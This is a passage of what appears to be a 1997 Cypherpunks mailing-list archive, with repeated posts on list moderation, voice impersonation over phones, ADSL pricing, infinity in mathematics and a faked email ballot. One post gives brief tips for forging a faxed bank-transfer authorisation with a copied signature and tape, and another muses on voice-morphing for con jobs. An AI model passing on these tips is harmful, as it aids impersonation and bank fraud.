just being a goddamn tease?

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 20 Jan 1997 16:57:24 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: Re: UNS_top
Message-ID: <199701210057.QAA24931@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


John Young wrote:
>  Governments in China, Burma and
>  Singapore have already tried to discipline this on-line activity with
>  minimal success.

  Do you have any pointers to information in regard to this, or are you
just being a goddamn tease?

Toto







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Mon, 20 Jan 1997 17:52:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: GSM crypto upgrade? (was Re: Newt's phone calls)
Message-ID: <199701210152.RAA25759@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:41 PM 1/16/97 GMT, Adam Back wrote:
>
>Bill Frantz <frantz@netcom.com> writes:

>> As long as the man in the middle can't imitate a familiar voice,
>> this procedure is reasonably secure.
>
>This is the approach taken by PGPfone also.  If the value of the
>conversations was high (>$100,000?) passable voice imitation wouldn't
>be that hard I suspect.

I have long considered how easy it would be to use a sound card to modify
the human voice to match within certain tolerances the voice of another.

There are currently on the market, phones specifically designed to modify
the voice of the user so that kids can answer as adults, women can answer as
thier own protective boyfriends, bosses can answer anonymous calls as the
secretary, etc...

There are currently on the market keyboards that allow you to sample some
real world sound and use it as a voice in your music, (the model I saw, a
toy produced by Radio Shack, simply sped up or slowed down the sound to
achieve this.)

I have thought, if a machine were to take the incoming voice, analize
(apologies for spelling) it to get a spectrum signature, a pattern that can
be added or subtracted from another, and could then add the difference
between that and the victims signature to the users voice, then real-time,
on-the-fly con jobs would be easy.

The only thing that the user would be responsible for would be the accent,
and the day-to-day vocabulary of the victim.

I told a friend about this and he confirmed that such was available if you
knew where to look.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Mon, 20 Jan 1997 19:56:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: GSM crypto upgrade? (was Re: Newt's phone calls)
Message-ID: <199701210356.TAA27801@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:41 PM 1/16/97 GMT, Adam Back wrote:
>
>Bill Frantz <frantz@netcom.com> writes:

>> As long as the man in the middle can't imitate a familiar voice,
>> this procedure is reasonably secure.
>
>This is the approach taken by PGPfone also.  If the value of the
>conversations was high (>$100,000?) passable voice imitation wouldn't
>be that hard I suspect.

I have long considered how easy it would be to use a sound card to modify
the human voice to match within certain tolerances the voice of another.

There are currently on the market, phones specifically designed to modify
the voice of the user so that kids can answer as adults, women can answer as
thier own protective boyfriends, bosses can answer anonymous calls as the
secretary, etc...

There are currently on the market keyboards that allow you to sample some
real world sound and use it as a voice in your music, (the model I saw, a
toy produced by Radio Shack, simply sped up or slowed down the sound to
achieve this.)

I have thought, if a machine were to take the incoming voice, analize
(apologies for spelling) it to get a spectrum signature, a pattern that can
be added or subtracted from another, and could then add the difference
between that and the victims signature to the users voice, then real-time,
on-the-fly con jobs would be easy.

The only thing that the user would be responsible for would be the accent,
and the day-to-day vocabulary of the victim.

I told a friend about this and he confirmed that such was available if you
knew where to look.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Mon, 20 Jan 1997 18:10:21 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: Re: Newt's phone calls
Message-ID: <199701210210.SAA26157@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:07 PM 1/20/97 -0500, Phillip M. Hallam-Baker wrote:

>Depending on the country and bank you can probably perform almost
>any transfer you like by fax. I moved my pension from one bank
>to another simply by sending a fax. I have done similar transactions 
>with Swiss, German and UK banks. 
>
>For some reason the fax is considered to be a practically 
>infallible authentication device. Quite why is beyond me since
>it should be obvious to anyone that all one needs to fake a
>fax is a photocopier, document signed by account holder, paste
>and scissors. You get everything needed on a signed cheque.
>
A check is no good, most checks are now printed on paper with special lines
that are supposed to become obvious after copying.  A signed letter or even
a mailing envelope would probably be better.  Also, scotch tape makes those
pexky shadows disapear like magic.  My dad uses it to make multiple versions
of make-up math tests that trivially look like the origional in order to
goad persons who were sick on test day so that they could get the answers
from someone else into printing down those answers and getting less than
random probability. (multiple choice)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Mon, 20 Jan 1997 20:12:35 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: Re: Newt's phone calls
Message-ID: <199701210412.UAA28009@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:07 PM 1/20/97 -0500, Phillip M. Hallam-Baker wrote:

>Depending on the country and bank you can probably perform almost
>any transfer you like by fax. I moved my pension from one bank
>to another simply by sending a fax. I have done similar transactions 
>with Swiss, German and UK banks. 
>
>For some reason the fax is considered to be a practically 
>infallible authentication device. Quite why is beyond me since
>it should be obvious to anyone that all one needs to fake a
>fax is a photocopier, document signed by account holder, paste
>and scissors. You get everything needed on a signed cheque.
>
A check is no good, most checks are now printed on paper with special lines
that are supposed to become obvious after copying.  A signed letter or even
a mailing envelope would probably be better.  Also, scotch tape makes those
pexky shadows disapear like magic.  My dad uses it to make multiple versions
of make-up math tests that trivially look like the origional in order to
goad persons who were sick on test day so that they could get the answers
from someone else into printing down those answers and getting less than
random probability. (multiple choice)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Mon, 20 Jan 1997 15:24:30 -0800 (PST)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: Slow Cypherpunk Day
In-Reply-To: <199701201704.JAA04094@netcom21.netcom.com>
Message-ID: <v03007808af09aee2c5da@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain


Interesting. I predict it won't be long before Sandy starts using Approved:
headers...

-Declan


Robert Hettinga wrote:

>At 12:04 pm -0500 1/20/97, Mike Duvos wrote:
>>Is cypherpunks-outgoing-ksiuw@toad.com where articles should be sent
>>to bypass the censors?
>
>Only until they figure out to set it to receive mail from Sandy only.
>(Don't forget to use the "Received" headers to avoid spoofing, Mr. G.)


-------------------------
The Netly News Network
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Mon, 20 Jan 1997 18:57:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: Interesting item from Nwlibertarians@teleport.com
Message-ID: <199701210257.SAA08626@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


>Date: Mon, 20 Jan 1997 17:44:32 -0800 (PST)
>From: James Ogle <joogle@netcom.com>
>Subject: NWLibs> LP: Browne's Vote Annulled, Chudov Still PM
>To: Jack Dean <JackDean@webworldinc.com>
>cc: usa-par@netcom.com, ichudov@algebra.com, rjschundler@aol.com,
>        nwlibertarians@teleport.com, brockman@netcom.com
>Sender: owner-nwlibertarians@teleport.com
>Reply-To: nwlibertarians@teleport.com
>
>
>To: Jack Dean
>Cc: Usa-par@netcom.com Listserver Members and Other Libertarians
>
>It turns out that according to Jack Dean, a campaign worker with the Harry 
>Browne in '96 campaign, the eballot vote for Igor Chudov (Libertarian - 
>OK) cast from HarryBrowne@HarryBrowne'96.com address, which was forwarded
>to Mr. Jack Dean by me, was a fake - so the two votes are shaved off the 
>Chudov total.   Can anyone speak with better authority on Browne then 
>Mr. Jack Dean, and say the Browne did cast the vote?   On a positive 
>note however, Tim Ladd (Pot - CA) has agreed to list Mr. Chudov as his 
>first choice, so Mr. Chudov stays as PM for the time being with five votes.
>
>The new vote totals are shown below.  
>
>BTW, a special welcome to the usa-par@netcom.com list to Evan Colletti
>(Pot - NV), who joins the list from Reno NV, as a founder of the NV-PAR
>and the Nevada Pot Party.
>
> --James Ogle
>
>On Mon, 20 Jan 1997, Jack Dean wrote:
>
>> 
>> You wrote:
>> 
>> >Jack, i just received this email from Mr. Harry Browne.   Will you
>> >please confirm with him that he did indeed cast the vote?   
>> 
>> No, he didn't.  It appears to be a faked e-mail message.  I'll be 
>> investigating how it was done.
>>  
>> Sorry.
>> 
>> Jack
>> 
>> 
>> **************************************************************************
>> J. Harris Dean            | voice & fax> 714/870-5585
>> 2217 Vista del Sol        | pager with voice mail> 714/935-3638
>> Fullerton, CA 92831       | e-mail> JackDean@webworldinc.com
>> **************************************************************************
>>           "LIBERTY is something you cannot have, unless you are 
>>            willing to give it to others." - William Allen White
>
>---------------------------------------------------Votes for PM of USA PAR
>
>
>             ====****  **************************  ****====
>              ====***  * THE 3RD USA PARLIAMENT *  ***====
>               ======  **************************  ======
> 
>                          Igor Chudov Taoiseach
> 
>-----------------------------------------------------------------------------
>For Immediate Release                                        January 20, 1997
> 
>                  RESULTS OF VOTING FOR TAOISEACH
> 
>                                         Vote For       # Of     Vote For
>MP                Vote For PM           Secretary       Seats      Rules
>-------------------------------------------------------------------------
>Monty Truitt      1 Monty Truitt      1 James Ogle
>                  2 James Ogle        2 Monty Truitt
>                  3 Donald Duck       3 Micky Mouse       1        no
>Daniel Brockman   1 Valerie Madriaga  1 James Ogle
>                  2 Igor Chudov
>                  3 Mike Bogatirev   
>                  4 Zachary Quest                         2       yes
>Mike Robinson     1 Daniel Brockman   1 James Ogle
>                  2 Steve Michael     2 Mike Robinson
>                  3 Mike Robinson                         1       yes
>Nathan Brown      1 John Mayer        1 James Ogle
>                  2 Michael Banon                         1       yes
>Patrick Seats     1 Patrick Seats     1 James Ogle
>                  2 Daniel Brockman   2 Gary Swing        1       yes
>Kerby Hensley     1 Locke Heemstra    1 James Ogle        1
>Jack Clayton      1 Steve Michael     1 James Ogle
>                  2 Jack Clayton                          1       yes
>Igor Chudov       1 Daniel Brockman   1 James Ogle
>                  2 Igor Chudov                           1       yes*
>James Ogle        1 Daniel Brockman   1 James Ogle
>                  2 Igor Chudov
>                  3 Nathan Brown     
>                  4 Zachary Quest                         2       yes
>Bruce Daniels     1 Daniel Brockman   1 Gary Swing        8       yes
>Gorden Hartman    1 Daniel Brockman   2 James Ogle        3       yes
>John Mayer        1 Steve Michael     1 James Ogle        1       yes
>Mike Bogatirev    1 Daniel Brockman   1 James Ogle        2     abstain
>Gene Marsee'      1 Valerie Madriaga  1 James Ogle        1     abstain
>Locke Heemstra    1 Lock Heemstra     1 James Ogle
>                  2 Daniel Brockman                       1       yes
>Shirley Bradshaw  1 Bruce Daniels     1 James Ogle
>                  2 Valerie Madriaga                      1
>Lloyd Llewellyn   1 Igor Chudov                           1
>Eli Rozicki       1 Nathon Brown                          1
>Laura Booth       1 Nathan Brown      1 James Ogle        1       yes
>Ann Atkerson      1 Newt Gingrich     1 James Ogle        1
>Steve Duby        1 Steve Duby        1 James Ogle
>                  2 Nathan Brown
>                  3 John Mayer
>                  4 Laura Booth                           1
>Greg Farley       1 Nathan Brown      1 James Ogle        1
>Tim Ladd          1 Igor Chudov       1 James Ogle
>                  2 Nathan Brown
>------------------------------------------------------------------------
>Total                                                    35
> 
> 
>*Voted yes on rules and other rules, and wrote in "Create USA PAR Web Page".
> 
>Results As Of 1/20/97
> 
>Daniel Brockman (17 votes) Declines To Stand
>Igor Chudov Elected Prime Minister                         -  5 votes
>James Ogle Elected Secretary                               - 25 votes
>Rules Approved                                             - 23 votes
> 
>--James Ogle, secretary
>  USA Parliament
>
>
>
Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Mon, 20 Jan 1997 20:25:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Interesting item from Nwlibertarians@teleport.com
Message-ID: <199701210425.UAA28217@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>Date: Mon, 20 Jan 1997 17:44:32 -0800 (PST)
>From: James Ogle <joogle@netcom.com>
>Subject: NWLibs> LP: Browne's Vote Annulled, Chudov Still PM
>To: Jack Dean <JackDean@webworldinc.com>
>cc: usa-par@netcom.com, ichudov@algebra.com, rjschundler@aol.com,
>        nwlibertarians@teleport.com, brockman@netcom.com
>Sender: owner-nwlibertarians@teleport.com
>Reply-To: nwlibertarians@teleport.com
>
>
>To: Jack Dean
>Cc: Usa-par@netcom.com Listserver Members and Other Libertarians
>
>It turns out that according to Jack Dean, a campaign worker with the Harry 
>Browne in '96 campaign, the eballot vote for Igor Chudov (Libertarian - 
>OK) cast from HarryBrowne@HarryBrowne'96.com address, which was forwarded
>to Mr. Jack Dean by me, was a fake - so the two votes are shaved off the 
>Chudov total.   Can anyone speak with better authority on Browne then 
>Mr. Jack Dean, and say the Browne did cast the vote?   On a positive 
>note however, Tim Ladd (Pot - CA) has agreed to list Mr. Chudov as his 
>first choice, so Mr. Chudov stays as PM for the time being with five votes.
>
>The new vote totals are shown below.  
>
>BTW, a special welcome to the usa-par@netcom.com list to Evan Colletti
>(Pot - NV), who joins the list from Reno NV, as a founder of the NV-PAR
>and the Nevada Pot Party.
>
> --James Ogle
>
>On Mon, 20 Jan 1997, Jack Dean wrote:
>
>> 
>> You wrote:
>> 
>> >Jack, i just received this email from Mr. Harry Browne.   Will you
>> >please confirm with him that he did indeed cast the vote?   
>> 
>> No, he didn't.  It appears to be a faked e-mail message.  I'll be 
>> investigating how it was done.
>>  
>> Sorry.
>> 
>> Jack
>> 
>> 
>> **************************************************************************
>> J. Harris Dean            | voice & fax> 714/870-5585
>> 2217 Vista del Sol        | pager with voice mail> 714/935-3638
>> Fullerton, CA 92831       | e-mail> JackDean@webworldinc.com
>> **************************************************************************
>>           "LIBERTY is something you cannot have, unless you are 
>>            willing to give it to others." - William Allen White
>
>---------------------------------------------------Votes for PM of USA PAR
>
>
>             ====****  **************************  ****====
>              ====***  * THE 3RD USA PARLIAMENT *  ***====
>               ======  **************************  ======
> 
>                          Igor Chudov Taoiseach
> 
>-----------------------------------------------------------------------------
>For Immediate Release                                        January 20, 1997
> 
>                  RESULTS OF VOTING FOR TAOISEACH
> 
>                                         Vote For       # Of     Vote For
>MP                Vote For PM           Secretary       Seats      Rules
>-------------------------------------------------------------------------
>Monty Truitt      1 Monty Truitt      1 James Ogle
>                  2 James Ogle        2 Monty Truitt
>                  3 Donald Duck       3 Micky Mouse       1        no
>Daniel Brockman   1 Valerie Madriaga  1 James Ogle
>                  2 Igor Chudov
>                  3 Mike Bogatirev   
>                  4 Zachary Quest                         2       yes
>Mike Robinson     1 Daniel Brockman   1 James Ogle
>                  2 Steve Michael     2 Mike Robinson
>                  3 Mike Robinson                         1       yes
>Nathan Brown      1 John Mayer        1 James Ogle
>                  2 Michael Banon                         1       yes
>Patrick Seats     1 Patrick Seats     1 James Ogle
>                  2 Daniel Brockman   2 Gary Swing        1       yes
>Kerby Hensley     1 Locke Heemstra    1 James Ogle        1
>Jack Clayton      1 Steve Michael     1 James Ogle
>                  2 Jack Clayton                          1       yes
>Igor Chudov       1 Daniel Brockman   1 James Ogle
>                  2 Igor Chudov                           1       yes*
>James Ogle        1 Daniel Brockman   1 James Ogle
>                  2 Igor Chudov
>                  3 Nathan Brown     
>                  4 Zachary Quest                         2       yes
>Bruce Daniels     1 Daniel Brockman   1 Gary Swing        8       yes
>Gorden Hartman    1 Daniel Brockman   2 James Ogle        3       yes
>John Mayer        1 Steve Michael     1 James Ogle        1       yes
>Mike Bogatirev    1 Daniel Brockman   1 James Ogle        2     abstain
>Gene Marsee'      1 Valerie Madriaga  1 James Ogle        1     abstain
>Locke Heemstra    1 Lock Heemstra     1 James Ogle
>                  2 Daniel Brockman                       1       yes
>Shirley Bradshaw  1 Bruce Daniels     1 James Ogle
>                  2 Valerie Madriaga                      1
>Lloyd Llewellyn   1 Igor Chudov                           1
>Eli Rozicki       1 Nathon Brown                          1
>Laura Booth       1 Nathan Brown      1 James Ogle        1       yes
>Ann Atkerson      1 Newt Gingrich     1 James Ogle        1
>Steve Duby        1 Steve Duby        1 James Ogle
>                  2 Nathan Brown
>                  3 John Mayer
>                  4 Laura Booth                           1
>Greg Farley       1 Nathan Brown      1 James Ogle        1
>Tim Ladd          1 Igor Chudov       1 James Ogle
>                  2 Nathan Brown
>------------------------------------------------------------------------
>Total                                                    35
> 
> 
>*Voted yes on rules and other rules, and wrote in "Create USA PAR Web Page".
> 
>Results As Of 1/20/97
> 
>Daniel Brockman (17 votes) Declines To Stand
>Igor Chudov Elected Prime Minister                         -  5 votes
>James Ogle Elected Secretary                               - 25 votes
>Rules Approved                                             - 23 votes
> 
>--James Ogle, secretary
>  USA Parliament
>
>
>
Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blake Coverett <blake@bcdev.com>
Date: Mon, 20 Jan 1997 16:22:38 -0800 (PST)
To: "cypherpunks@toad.com>
Subject: RE: GSM technology
Message-ID: <01BC0707.3ED5B650@bcdev.com>
MIME-Version: 1.0
Content-Type: text/plain


Lucky wrote:

> I just had a very interesting talk with somebody from Northern Telecom (Canada's Phone Company). NorTel has apparently skipped ISDN and > is now deploying ADSL. Some areas already have access to ADSL at, can you believe this, $60/month.

NorTel isn't exactly Canada's phone company.  NorTel manufactures 
telecom equipment.  It is however 51% owned by BCE, which owns 
or has controlling interest in Bell Canada and several of the regional 
carriers as well a huge mess of other telco stuff.

ISDN is available fairly widely in my area of the country, but I'm
not aware of an commercially available ADSL  UUNET Canada
has been conducting ADSL trials in a couple of cities, but that's
all I've heard of thus far.

regards,
-Blake (who would love to be proved wrong as the price sounds great)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blake Coverett <blake@bcdev.com>
Date: Mon, 20 Jan 1997 16:56:02 -0800 (PST)
To: "cypherpunks@toad.com>
Subject: RE: GSM technology
Message-ID: <199701210056.QAA24924@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Lucky wrote:

> I just had a very interesting talk with somebody from Northern Telecom (Canada's Phone Company). NorTel has apparently skipped ISDN and > is now deploying ADSL. Some areas already have access to ADSL at, can you believe this, $60/month.

NorTel isn't exactly Canada's phone company.  NorTel manufactures 
telecom equipment.  It is however 51% owned by BCE, which owns 
or has controlling interest in Bell Canada and several of the regional 
carriers as well a huge mess of other telco stuff.

ISDN is available fairly widely in my area of the country, but I'm
not aware of an commercially available ADSL  UUNET Canada
has been conducting ADSL trials in a couple of cities, but that's
all I've heard of thus far.

regards,
-Blake (who would love to be proved wrong as the price sounds great)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Tue, 21 Jan 1997 08:59:41 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: Numbers we cannot talk about
Message-ID: <853865191.102190.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> > I know that Standard mathematical axioms yields lots of interesting
> > results, but when it talks of the infinite and we are dealing
> > with a practical subject like cryptography or even physics it
> > should not be taken too seriously. (With respect to uncountable sets.)
> 
> Some of the applications of these theories are very relevant. For
> example, a theorem that proves that it is impossible to write a program
> that would determine if any other program would stop or loop forever, is
> very relevant and interesting.

Absolutely, something does not have to be practical to be 
interesting, Igor`s example of Cantors double slash argument (useful 
for example in AI research) is something that seems very abstract 
until we find a use for it, and most abstract mathematical concepts 
and theorems of this kind do eventually come into use by some other 
class of scientists.

 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Tue, 21 Jan 1997 09:15:18 -0800 (PST)
To: Anonymous <lucifer@dhp.com>
Subject: Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
Message-ID: <853865189.102181.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> >> ...but I must say the list has gone downhill sharply since 
> >> the start of the censorship.
> >
> >I guess this a classic case of seeing what you want to see.
> >(Uh, Paul, the moderation experiment HASN'T STARTED YET.)

I knew that when I wrote this, but the fact that Vulis has been 
banned from the list is most definitely censorship and has lowered 
the philiosophy of the list (as in original purpose and ideaology) to 
a lower plane and provoked a number of flame wars which would 
otherwise have not taken place. 

> No, he's got it right.  The announcement of the moderation experiment
> was followed by a decline in interesting threads.

I noticed this too but it was not what I was referring to.

 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: drose@azstarnet.com
Date: Mon, 20 Jan 1997 18:57:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Airport security [no such thing]
Message-ID: <199701210257.TAA17513@web.azstarnet.com>
MIME-Version: 1.0
Content-Type: text/plain


Alan Bostick wrote:

[...]

>She presented the gate agent with *four* tickets and *four* IDs.  "Where
>are these other people?" the agent asked.  "They're parking the car,"
>said the traveler.  The agent gave her all four boarding passes; and my
>companion and I were bumped to the third boarding group.
>
>The woman in front of us was white and middle-class-looking, traveling
>with what appeared to be her family.  One wonders what would have
>happened were she a swarthy man wearing robes and a burnoose.  Or if she
>were just wearing shabby clothes. 

My guess is that you and your companion would have been further discommoded,
with the possible concomitant saving of your lives.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: drose@AZStarNet.com
Date: Mon, 20 Jan 1997 20:10:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Airport security [no such thing]
Message-ID: <199701210410.UAA28001@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Alan Bostick wrote:

[...]

>She presented the gate agent with *four* tickets and *four* IDs.  "Where
>are these other people?" the agent asked.  "They're parking the car,"
>said the traveler.  The agent gave her all four boarding passes; and my
>companion and I were bumped to the third boarding group.
>
>The woman in front of us was white and middle-class-looking, traveling
>with what appeared to be her family.  One wonders what would have
>happened were she a swarthy man wearing robes and a burnoose.  Or if she
>were just wearing shabby clothes. 

My guess is that you and your companion would have been further discommoded,
with the possible concomitant saving of your lives.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Mon, 20 Jan 1997 20:17:50 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: Dr. Vulis' social engineering experiment
In-Reply-To: <32E4477E.3F8B@sk.sympatico.ca>
Message-ID: <Pine.SUN.3.91.970120195758.28547G-100000@crl13.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C-punks,

On Mon, 20 Jan 1997, Toto wrote:

>   In short, I believe that if the issue of free speech is not one of
> the central issues on the CypherPunks list, then the list is merely
> one more heartless, unfeeling extension of the Great Machine which
> is grinding inexorably forward toward the day when we will all have
> its numbers tattoo'd on our forearms.

While free speech is an undeniably important topic, It is just
one of many that could be discussed on this list.  A concern for
protecting privacy was the raison d'etre for the creation of the 
Cypherpunks list.  And technological self-help was always the 
modus operandi of choice.  Obviously, speech and privacy issues
are related, but they are not synonymous.  Again, I am not saying
Cypherpunks do not care about free speech issues.  There focus,
though, is on achieving privacy through technological means.
Works for me.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: owner-cypherpunks
Date: Mon, 20 Jan 1997 20:10:53 -0800 (PST)
Subject: No Subject
Message-ID: <199701210410.UAA28004@toad.com>
MIME-Version: 1.0
Content-Type: text/plain






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Mon, 20 Jan 1997 19:13:07 -0800 (PST)
To: ravage@EINSTEIN.ssz.com (Jim Choate)
Subject: Re: [Math Noise] (fwd)
In-Reply-To: <199701201628.IAA12866@toad.com>
Message-ID: <199701210415.UAA17450@songbird.com>
MIME-Version: 1.0
Content-Type: text


Jim Choate allegedly said:
> 
> 
> > Infinity does not have a predecessor, so it makes no sense to
> > count back from it a finite number of steps.
> 
> If infinity does not have predecessors (ie is immune to normal arithmetic
> operations) then it is not possible for a sequence to approach it by adding
> a finite amount to succesive terms in order to approach it. This means that
> a sequence can not meaningfuly be asymptotic with infinity (meaning I have to
> be able to draw a asymptote, at least in theory, in order to demonstrate the
> limit).

Jim, the problem here, as elsewhere in your posts, is that you 
confuse the prosaic meaning of terms with the mathematical meaning.  
"Approaching" infinity is sort of inane, mathematically speaking, but 
if it did have a meaning, it wouldn't mean "getting closer to".

> > If one constructs the Ordinals, which are isomorphism classes of
> > well-ordered sets, and the Cardinals, which are equivalence
> > classes of equipotent sets, one will automatically end up with
> > all sorts of transfinite numbers.
> 
> If infinity is not a number, how is it possible to have a definite number
> (ie transfinite) which is larger than it?
> 
> My contention is that number theory as you present it is playing fast and
> loose with the concept of infinity not being a number or visa versa.

Your contention is precisely what you are doing.  The term "infinity" 
means several things mathematically speaking, but the various 
meanings are precise.  Your comments demonstrate that you don't 
really know what those precise meanings are, and thus it is difficult 
for people who are used to them to communicate with you.

So perhaps you could define *exactly* what you mean by "infinity"?

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Mon, 20 Jan 1997 20:14:18 -0800 (PST)
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: [Math Noise] (fwd)
Message-ID: <199701210414.UAA28021@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate allegedly said:
> 
> 
> > Infinity does not have a predecessor, so it makes no sense to
> > count back from it a finite number of steps.
> 
> If infinity does not have predecessors (ie is immune to normal arithmetic
> operations) then it is not possible for a sequence to approach it by adding
> a finite amount to succesive terms in order to approach it. This means that
> a sequence can not meaningfuly be asymptotic with infinity (meaning I have to
> be able to draw a asymptote, at least in theory, in order to demonstrate the
> limit).

Jim, the problem here, as elsewhere in your posts, is that you 
confuse the prosaic meaning of terms with the mathematical meaning.  
"Approaching" infinity is sort of inane, mathematically speaking, but 
if it did have a meaning, it wouldn't mean "getting closer to".

> > If one constructs the Ordinals, which are isomorphism classes of
> > well-ordered sets, and the Cardinals, which are equivalence
> > classes of equipotent sets, one will automatically end up with
> > all sorts of transfinite numbers.
> 
> If infinity is not a number, how is it possible to have a definite number
> (ie transfinite) which is larger than it?
> 
> My contention is that number theory as you present it is playing fast and
> loose with the concept of infinity not being a number or visa versa.

Your contention is precisely what you are doing.  The term "infinity" 
means several things mathematically speaking, but the various 
meanings are precise.  Your comments demonstrate that you don't 
really know what those precise meanings are, and thus it is difficult 
for people who are used to them to communicate with you.

So perhaps you could define *exactly* what you mean by "infinity"?

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jane Jefferson <gotagun@liii.com>
Date: Mon, 20 Jan 1997 17:18:30 -0800 (PST)
To: sunder@brainlink.com (Ray Arachelian)
Subject: Re: Dr. Vulis' social engineering experiment
In-Reply-To: <Pine.SUN.3.91.970120120533.26892A-100000@beast.brainlink.com>
Message-ID: <199701210118.UAA28283@rowan.liii.com>
MIME-Version: 1.0
Content-Type: text/plain


Also Sprach Adam Back:
> 
> It is my belief
> that his posts can only be understood in a "meta" sense -- he is
> engaged in a highly complex cryptographic experiment.  People who read
> and respond to his individual posts are the unwitting subjects in his
> experiments.  His posts and the responses to them are actually the
> data-set for a thorough cryptanalysis of mailing list threats.  His
> current topic under investigation is Denial of Service (DoS) attacks
> on mailing lists.

I agree that this is what is being done, but the experiment dorsn't have
as much to do with cryptanalysis as much as it has to do with sociology. 
 The limits here are not mathematical and static, they are social and
based on the limits of tolerance of both the group and the individual. 

> I await with interest the last phases of Dimitri's experiment, when
> the cypherpunks list becomes a moderated forum.

That appears to be the main brunt of his efforts, to "push the envelope"
of free speech in order to force it's definition. Perhaps to exhibit
the necessity for a controlling authority, and thus justify the existence
of the various agencies which are trying to control the flow of 
information in this country and elsewhere. 

> I hope Dimitri's selfless efforts in furthering understanding of DoS
> attacks on mailing lists is properly acknowledged when he publishes
> his findings on completion of his experiments.  I also hope that
> Dimitri will document his recommendations for mailing list
> configuration and management in light of his experiments.
 
I would not say that what he is doing is a bit selfless, the Clipper
Chip crowd are probably lining his pockets in a big way. That's 
acknowledgement enough for me. :-/ 
 
"In peacetime, a warlike man sets upon himself." -- Nietzsche

-- 
Marcus: "They'll try to kill you."         |
Xena: "Oh, I still have a few tricks       | "Here we GO!!!" 
       left up my sleeve...I don't         |           -- Jane's Addiction
       have any sleeves!" -- Xena bloopers |




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jane Jefferson <gotagun@liii.com>
